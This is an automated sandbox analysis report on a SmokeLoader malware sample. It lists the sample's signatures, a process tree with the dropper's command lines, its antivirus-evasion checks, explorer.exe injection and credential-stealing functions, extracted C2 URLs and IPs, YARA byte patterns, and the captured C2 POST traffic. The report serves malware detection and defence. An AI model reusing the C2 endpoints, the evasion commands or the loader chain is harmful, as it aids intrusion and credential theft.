Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:file.exe
Analysis ID:1559273
MD5:211dd0cc3da148c5bc61389693fd284f
SHA1:75e6bd440e37240fee4bf7ae01109093490ac5a7
SHA256:645ee0535f2ada91b101c0029f2fb71de2a27c10a5446e84d3547968ea36eafe
Tags:exeuser-Bitsight
Infos:

Detection

SmokeLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Benign windows process drops PE files
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Search for Antivirus process
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected SmokeLoader
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Checks if the current machine is a virtual machine (disk enumeration)
Creates a thread in another existing process (thread injection)
Drops PE files with a suspicious file extension
Found API chain indicative of debugger detection
Found API chain indicative of sandbox detection
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Maps a DLL or memory area into another process
Switches to a custom stack to bypass stack traces
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
OS version to string mapping found (often used in BOTs)
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
PE file contains sections with non-standard names
PE file does not import any functions
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Suspicious Copy From or To System Directory
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • file.exe (PID: 3984 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 211DD0CC3DA148C5BC61389693FD284F)
    • cmd.exe (PID: 5300 cmdline: "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 6692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • tasklist.exe (PID: 6548 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
      • findstr.exe (PID: 4932 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
      • tasklist.exe (PID: 3500 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
      • findstr.exe (PID: 6464 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
      • cmd.exe (PID: 5460 cmdline: cmd /c md 390641 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • findstr.exe (PID: 6588 cmdline: findstr /V "ConventionTroopsStudiedTooth" Version MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
      • cmd.exe (PID: 5916 cmdline: cmd /c copy /b ..\Accessing + ..\Entire + ..\Peripherals + ..\Et B MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Imposed.com (PID: 6188 cmdline: Imposed.com B MD5: 78BA0653A340BAC5FF152B21A83626CC)
        • Imposed.com (PID: 5268 cmdline: C:\Users\user\AppData\Local\Temp\390641\Imposed.com MD5: 78BA0653A340BAC5FF152B21A83626CC)
        • Imposed.com (PID: 3040 cmdline: C:\Users\user\AppData\Local\Temp\390641\Imposed.com MD5: 78BA0653A340BAC5FF152B21A83626CC)
          • explorer.exe (PID: 4084 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)
            • explorer.exe (PID: 4540 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)
            • explorer.exe (PID: 5664 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
            • explorer.exe (PID: 3616 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)
            • explorer.exe (PID: 5180 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
            • explorer.exe (PID: 2736 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)
            • explorer.exe (PID: 6168 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
            • explorer.exe (PID: 4312 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)
      • choice.exe (PID: 5776 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)
  • chhfaci (PID: 4128 cmdline: C:\Users\user\AppData\Roaming\chhfaci MD5: 78BA0653A340BAC5FF152B21A83626CC)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
SmokeLoaderThe SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.
  • SMOKY SPIDER
https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://quantumqube.org/index.php", "https://quantumqube.org/index.php", "http://innovixus.org/index.php", "https://innovixus.org/index.php"]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000019.00000002.2734174203.0000000000131000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_SmokeLoaderYara detected SmokeLoaderJoe Security
    0000000F.00000002.1812617875.0000000002C70000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_SmokeLoader_2Yara detected SmokeLoaderJoe Security
      0000000F.00000002.1812617875.0000000002C70000.00000004.00001000.00020000.00000000.sdmpWindows_Trojan_Smokeloader_4e31426eunknownunknown
      • 0x634:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
      0000000F.00000002.1812665092.0000000002C91000.00000004.10000000.00040000.00000000.sdmpJoeSecurity_SmokeLoader_2Yara detected SmokeLoaderJoe Security
        0000000F.00000002.1812665092.0000000002C91000.00000004.10000000.00040000.00000000.sdmpWindows_Trojan_Smokeloader_4e31426eunknownunknown
        • 0x234:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
        Click to see the 5 entries

        Sigma Signatures

        System Summary

        barindex
        Sigma detected: Execution of Suspicious File Type Extension
        Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\chhfaci, CommandLine: C:\Users\user\AppData\Roaming\chhfaci, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\chhfaci, NewProcessName: C:\Users\user\AppData\Roaming\chhfaci, OriginalFileName: C:\Users\user\AppData\Roaming\chhfaci, ParentCommandLine: , ParentImage: , ParentProcessId: 660, ProcessCommandLine: C:\Users\user\AppData\Roaming\chhfaci, ProcessId: 4128, ProcessName: chhfaci
        Sigma detected: Suspicious Copy From or To System Directory
        Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3984, ParentProcessName: file.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd, ProcessId: 5300, ProcessName: cmd.exe

        HIPS / PFW / Operating System Protection Evasion

        barindex
        Sigma detected: Search for Antivirus process
        Source: Process startedAuthor: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5300, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 6464, ProcessName: findstr.exe

        Suricata Signatures

        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
        2024-11-20T11:21:12.079442+010020283713Unknown Traffic192.168.2.84971385.192.60.190443TCP
        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
        2024-11-20T11:21:08.814571+010020391031A Network Trojan was detected192.168.2.84971285.192.60.19080TCP
        2024-11-20T11:21:17.156382+010020391031A Network Trojan was detected192.168.2.849718150.241.91.21880TCP
        2024-11-20T11:21:20.758779+010020391031A Network Trojan was detected192.168.2.849719150.241.91.21880TCP
        2024-11-20T11:21:44.962979+010020391031A Network Trojan was detected192.168.2.849799150.241.91.21880TCP
        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
        2024-11-20T11:21:17.356859+010028298482Potentially Bad Traffic150.241.91.21880192.168.2.849718TCP

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Found malware configuration
        Source: 0000000F.00000002.1812617875.0000000002C70000.00000004.00001000.00020000.00000000.sdmpMalware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://quantumqube.org/index.php", "https://quantumqube.org/index.php", "http://innovixus.org/index.php", "https://innovixus.org/index.php"]}
        Multi AV Scanner detection for submitted file
        Source: file.exeReversingLabs: Detection: 15%
        AI detected suspicious sample
        Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.7% probability
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E3098 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,CryptUnprotectData,DeleteFileW,20_2_028E3098
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E3717 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,CryptUnprotectData,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,lstrlen,DeleteFileW,20_2_028E3717
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E3E04 RtlCompareMemory,CryptUnprotectData,20_2_028E3E04
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E123B lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,20_2_028E123B
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E1198 CryptBinaryToStringA,CryptBinaryToStringA,20_2_028E1198
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E11E1 lstrcmpiW,lstrlenW,CryptStringToBinaryW,CryptStringToBinaryW,CryptStringToBinaryW,20_2_028E11E1
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E1FCE CryptUnprotectData,RtlMoveMemory,20_2_028E1FCE
        Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.LICENSE.txt
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt
        Source: file.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
        Source: Binary string: WalletProxy.pdbGCTL source: explorer.exe, 0000001A.00000003.2333613232.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2333613232.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2327527169.0000000004EB1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2327272375.0000000004E77000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2320476280.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2320760713.0000000004EB1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2320476280.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2327272375.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2322491329.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, WalletProxy.dll0.26.dr, WalletProxy.dll.26.dr
        Source: Binary string: walletservice.pdbGCTL source: explorer.exe, 0000001A.00000003.2325265006.0000000004E77000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: WalletProxy.pdb source: explorer.exe, 0000001A.00000003.2333613232.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2333613232.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2327527169.0000000004EB1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2327272375.0000000004E77000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2320476280.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2320760713.0000000004EB1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2320476280.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2327272375.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2322491329.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, WalletProxy.dll0.26.dr, WalletProxy.dll.26.dr
        Source: Binary string: xy.pdb source: explorer.exe, 0000001A.00000003.2327272375.0000000004E77000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2322491329.0000000004E82000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: Windows.ApplicationModel.Wallet.pdb source: Windows.ApplicationModel.Wallet.dll.26.dr
        Source: Binary string: WalletBackgroundServiceProxy.pdb source: explorer.exe, 0000001A.00000003.2321427095.0000000004E82000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2325963812.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2326504004.0000000004EB1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2321427095.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2319958442.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2319958442.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2325963812.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2332948821.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2332948821.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, WalletBackgroundServiceProxy.dll.26.dr
        Source: Binary string: WalletBackgroundServiceProxy.pdbGCTL source: explorer.exe, 0000001A.00000003.2325963812.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2326504004.0000000004EB1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2321427095.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2319958442.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2319958442.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2325963812.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2332948821.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2332948821.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, WalletBackgroundServiceProxy.dll.26.dr
        Source: Binary string: xy.pdbGCT.r source: explorer.exe, 0000001A.00000003.2322491329.0000000004E82000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: walletservice.pdb source: explorer.exe, 0000001A.00000003.2325265006.0000000004E77000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: xy.pdbGCT.orp source: explorer.exe, 0000001A.00000003.2327272375.0000000004E77000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: Windows.ApplicationModel.Wallet.pdbGCTL source: Windows.ApplicationModel.Wallet.dll.26.dr
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004062D5 FindFirstFileW,FindClose,0_2_004062D5
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00402E18 FindFirstFileW,0_2_00402E18
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00406C9B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009FDB0B FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,11_2_009FDB0B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A0A32C FindFirstFileW,Sleep,FindNextFileW,FindClose,11_2_00A0A32C
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009FE334 GetFileAttributesW,FindFirstFileW,FindClose,11_2_009FE334
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A065AE FindFirstFileW,FindNextFileW,FindClose,11_2_00A065AE
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009CC6C2 FindFirstFileExW,11_2_009CC6C2
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A072A6 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,11_2_00A072A6
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A07205 FindFirstFileW,FindClose,11_2_00A07205
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009FD7CC FindFirstFileW,DeleteFileW,CompareStringW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,11_2_009FD7CC
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A09E43 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,11_2_00A09E43
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A09F9E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,11_2_00A09F9E
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A0A32C FindFirstFileW,Sleep,FindNextFileW,FindClose,14_2_00A0A32C
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009FE334 GetFileAttributesW,FindFirstFileW,FindClose,14_2_009FE334
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A065AE FindFirstFileW,FindNextFileW,FindClose,14_2_00A065AE
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009CC6C2 FindFirstFileExW,14_2_009CC6C2
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A072A6 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,14_2_00A072A6
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A07205 FindFirstFileW,FindClose,14_2_00A07205
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009FD7CC FindFirstFileW,DeleteFileW,CompareStringW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,14_2_009FD7CC
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009FDB0B FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,14_2_009FDB0B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A09E43 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,14_2_00A09E43
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A09F9E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,14_2_00A09F9E
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0077E334 GetFileAttributesW,FindFirstFileW,FindClose,19_2_0077E334
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0078A32C FindFirstFileW,Sleep,FindNextFileW,FindClose,19_2_0078A32C
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_007865AE FindFirstFileW,FindNextFileW,FindClose,19_2_007865AE
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0074C6C2 FindFirstFileExW,19_2_0074C6C2
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00787205 FindFirstFileW,FindClose,19_2_00787205
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_007872A6 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,19_2_007872A6
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0077D7CC FindFirstFileW,DeleteFileW,CompareStringW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,19_2_0077D7CC
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0077DB0B FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,19_2_0077DB0B
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00789E43 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,19_2_00789E43
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00789F9E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,19_2_00789F9E
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,20_2_028E2B15
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,20_2_028E3ED9
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,20_2_028E1D4A
        Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\390641\Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\390641Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior

        Networking

        barindex
        Suricata IDS alerts for network traffic
        Source: Network trafficSuricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49719 -> 150.241.91.218:80
        Source: Network trafficSuricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49712 -> 85.192.60.190:80
        Source: Network trafficSuricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49718 -> 150.241.91.218:80
        Source: Network trafficSuricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49799 -> 150.241.91.218:80
        System process connects to network (likely due to code injection or exploit)
        Source: C:\Windows\explorer.exeNetwork Connect: 85.192.60.190 443Jump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeNetwork Connect: 150.241.91.218 80
        C2 URLs / IPs found in malware configuration
        Source: Malware configuration extractorURLs: http://quantumqube.org/index.php
        Source: Malware configuration extractorURLs: https://quantumqube.org/index.php
        Source: Malware configuration extractorURLs: http://innovixus.org/index.php
        Source: Malware configuration extractorURLs: https://innovixus.org/index.php
        Source: Joe Sandbox ViewASN Name: LINEGROUP-ASRU LINEGROUP-ASRU
        Source: Joe Sandbox ViewASN Name: TECNALIAES TECNALIAES
        Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49713 -> 85.192.60.190:443
        Source: Network trafficSuricata IDS: 2829848 - Severity 2 - ETPRO MALWARE SmokeLoader encrypted module (3) : 150.241.91.218:80 -> 192.168.2.8:49718
        Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ccvbbbuqtiqo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 152Host: quantumqube.org
        Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://shyrgpbguqjvloh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 138Host: innovixus.org
